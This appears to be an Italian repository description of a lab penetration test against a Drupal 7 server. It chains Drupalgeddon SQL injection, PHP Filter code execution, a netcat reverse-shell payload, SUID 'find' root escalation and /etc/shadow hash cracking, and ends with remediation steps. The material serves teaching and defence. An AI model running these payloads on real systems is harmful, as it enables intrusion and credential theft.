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Audit-BlackBox-Web-to-Root — Audit di sicurezza Black Box di un server Drupal 7. Dimostrazione di una Kill Chain completa: SQL Injection (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Escalation a Root (SUID). Questo repository contiene il rapporto tecnico dettagliato, le prove di exploit (PoC) e le misure di remediation per mettere in sicurezza l'infrastruttura. | Kitploit
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Informazioni

Audit di sicurezza Black Box di un server Drupal 7. Dimostrazione di una Kill Chain completa: SQL Injection (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Escalation a Root (SUID). Questo repository contiene il rapporto tecnico dettagliato, le prove di exploit (PoC) e le misure di remediation per mettere in sicurezza l'infrastruttura.

Apprendimento e Formazione
Lab e Pratica
GitHubfbm31/audit-blackbox-web-to-root

Audit-BlackBox-Web-to-Root

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38 mesi faNon ancora revisionato
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Pentest Lab : Catena di sfruttamento web e di sistema (Drupal to Root)

Disclaimer

Questo progetto è stato realizzato in un ambiente di laboratorio controllato e isolato a scopo educativo e accademico. Nessuna infrastruttura reale è stata presa di mira. L'obiettivo è imparare a proteggere i sistemi comprendendo i meccanismi di attacco.


Ambiente di lavoro e obiettivi

Lo Scenario

L'obiettivo di questo progetto è realizzare un audit in scatola nera (Black Box). Ciò significa che l'analisi parte senza alcuna conoscenza preliminare del bersaglio: nessun identificativo, nessuna documentazione tecnica, né codice sorgente è stato fornito.

L'Architettura del Lab

L'infrastruttura è stata distribuita virtualmente su VMware in una rete privata isolata (Host-Only) per evitare qualsiasi interazione con l'esterno.

  • Macchina Attaccante (Kali Linux) : 192.168.78.131
    • Strumenti : Nmap, Python, Netcat, John the Ripper.
  • Macchina Bersaglio (Vittima) : 192.168.78.132
    • OS : Linux (Debian).
    • Stato iniziale : Sconosciuto.

Fase 1 : Ricognizione e individuazione

Il primo passo è consistito nel mappare la superficie d'attacco della macchina bersaglio tramite una scansione delle porte.

Comando eseguito : nmap -sV 192.168.78.132

Nmap Scan

Servizi identificati :

  • Porta 22 (TCP) : SSH (OpenSSH 6.0p1).
  • Porta 80 (TCP) : Server HTTP (Apache 2.2.22).
  • Porta 111 (TCP) : rpcbind.

L'analisi del servizio Web (Porta 80) e del file robots.txt ha rivelato la presenza di un CMS Drupal. L'ispezione del codice sorgente ha permesso di identificare una versione obsoleta : Drupal 7.x.


Analisi delle vulnerabilità

I risultati della fase di ricognizione hanno evidenziato una superficie d'attacco critica : un CMS Drupal 7 non mantenuto. Questa versione è storicamente nota per essere vulnerabile a gravi falle di sicurezza (in particolare "Drupalgeddon").

Di fronte a questa constatazione, l'audit si è orientato verso una ricerca mirata di vulnerabilità pubbliche (CVE). Questa enumerazione ha confermato l'esistenza di una catena di sfruttamento completa, che consente di passare da un semplice visitatore web a un amministratore di sistema "Root".

Vettori d'attacco identificati :

  1. Web : SQL Injection (CVE-2014-3704).
  2. Applicativo : Configurazione errata del modulo "PHP Filter".
  3. Sistema : Permessi SUID pericolosi su binari di sistema.

Sfruttamento (Kill Chain)

Fase 1 : Intrusione iniziale (SQL Injection)

Sfruttamento della falla CVE-2014-3704 (Drupalgeddon). Questa vulnerabilità nell'API del database di Drupal consente di iniettare comandi SQL senza autenticazione.

  • Azione : Iniezione di un nuovo utente nella tabella users con diritti di Amministratore.
  • Risultato : Accesso al pannello di amministrazione del CMS.

Exploit SQLi

Ottenere lo script Python

Fase 2 : Esecuzione di codice (RCE & Reverse Shell)

Una volta connessi come amministratore, utilizzo del modulo nativo PHP Filter. Questo modulo, mal configurato, consente di eseguire codice PHP arbitrario nelle pagine del sito.

  • Payload : <?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
  • Risultato : Ottenimento di una shell remota sulla macchina Kali (utente www-data).

Reverse Shell

Fase 3 : Escalation dei privilegi (Verso Root)

Analisi dei file con permesso SUID (Set User ID). Scoperta di una configurazione critica sul comando find.

  • Comando di escalation : find . -exec '/bin/sh' \;
  • Risultato : Il binario find viene eseguito come root, avviando una shell con privilegi Root (uid=0).

Fase 4 : Post-exploitation

Una volta ottenuto l'accesso root, lettura del file sensibile /etc/shadow per esfiltrare le impronte (hash) delle password degli utenti.

  • Azione : Utilizzo di John the Ripper per decifrare gli hash SHA-512 tramite attacco a dizionario.
  • Risultato : Recupero della password di root/utente (bassa complessità), consentendo la persistenza sul sistema.

Reverse Shell

Sintesi

L'audit ha rivelato un livello di rischio CRITICO. La combinazione di un CMS obsoleto e di una negligenza nella configurazione del sistema (SUID) consente una compromissione totale del server.

Impatti per l'azienda :

  • Riservatezza : Possibile esfiltrazione del database dei clienti e dei file di sistema (/etc/shadow).
  • Integrità : Modifica o cancellazione totale dei dati del sito.
  • Disponibilità : Rischio di sabotaggio o interruzione del servizio.

Piano d'azione prioritario :

  1. Aggiornamento : Migrare Drupal all'ultima versione stabile per correggere la falla SQLi.
  2. Hardening del Sistema : Rimuovere il bit SUID dagli eseguibili non essenziali (chmod u-s /usr/bin/find).
  3. Minimo Privilegio : Disattivare il modulo PHP Filter se non strettamente necessario.

Documentazione

Per il dettaglio tecnico completo, gli script utilizzati e l'analisi approfondita, consultare il rapporto completo : Leggere il Rapporto di Audit (PDF)

Autore

Fabien MOINE

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